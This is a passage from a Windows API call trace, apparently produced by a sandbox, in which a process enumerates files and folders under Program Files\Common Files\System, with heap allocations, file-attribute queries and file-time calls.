(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d8c0) returned 1 [0087.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbd28 [0087.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305518 [0087.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d9d0) returned 1 [0087.620] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3080a8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0087.620] GetLastError () returned 0x12 [0087.620] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.620] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0087.620] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.620] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3080a8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0087.620] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3080a8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0087.620] GetLastError () returned 0x12 [0087.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d948) returned 1 [0087.621] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.621] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7465328, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb7465328, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5fb141f0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0087.621] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99b80ab9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99b80ab9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99bccd79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0087.621] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab15afe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ab15afe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ab15afe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0087.621] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab15afe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ab15afe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ab15afe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0087.621] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab3bc5e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ab3bc5e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ab3bc5e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0087.621] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab3bc5e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ab3bc5e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ab3bc5e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0087.621] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab87f1f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ab87f1f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ab87f1f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0087.621] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abd41df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8abd41df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8abd41df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0087.622] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dae14ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9dae14ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dae14ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x56000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0087.622] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6fc88a7, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb6fc88a7, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb6f0a1cc, ftLastWriteTime.dwHighDateTime=0x1ca0417, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0087.622] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f0bf91, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0087.622] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9c1e89, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e9c1e89, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e9e7fe9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0087.622] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e25992, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb6e25992, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb6db3575, ftLastWriteTime.dwHighDateTime=0x1ca0417, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0087.622] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb775ee94, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb775ee94, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9b894690, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0087.622] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831d597f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjro.dll", cAlternateFileName="")) returned 1 [0087.622] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831d597f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjro.dll", cAlternateFileName="")) returned 0 [0087.622] GetLastError () returned 0x12 [0087.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.622] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.623] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886e43c6, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x886e43c6, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x89202410, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0087.623] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.623] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.623] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0087.623] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0087.624] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0087.624] NtClose (Handle=0x124) returned 0x0 [0087.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.625] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0087.625] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.625] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e3de6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc9e3de6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0087.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbd48 [0087.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305728 [0087.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.627] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e3de6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc9e3de6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0087.627] GetLastError () returned 0x12 [0087.627] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0087.627] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.627] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.627] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e3de6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc9e3de6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0087.627] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e3de6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc9e3de6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0087.627] GetLastError () returned 0x12 [0087.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.628] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.628] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0087.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.629] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc" (normalized: "c:\\program files (x86)\\common files\\system\\msadc"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.629] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc" (normalized: "c:\\program files (x86)\\common files\\system\\msadc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.629] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0087.629] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0087.630] NtClose (Handle=0x16c) returned 0x0 [0087.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.631] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0087.632] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.632] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6f591, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x1d6f591, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xab5525a7, ftLastWriteTime.dwHighDateTime=0x1ca03fd, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0087.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbd68 [0087.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d948 [0087.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.634] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d956f0, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x1d956f0, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xab636de1, ftLastWriteTime.dwHighDateTime=0x1ca03fd, 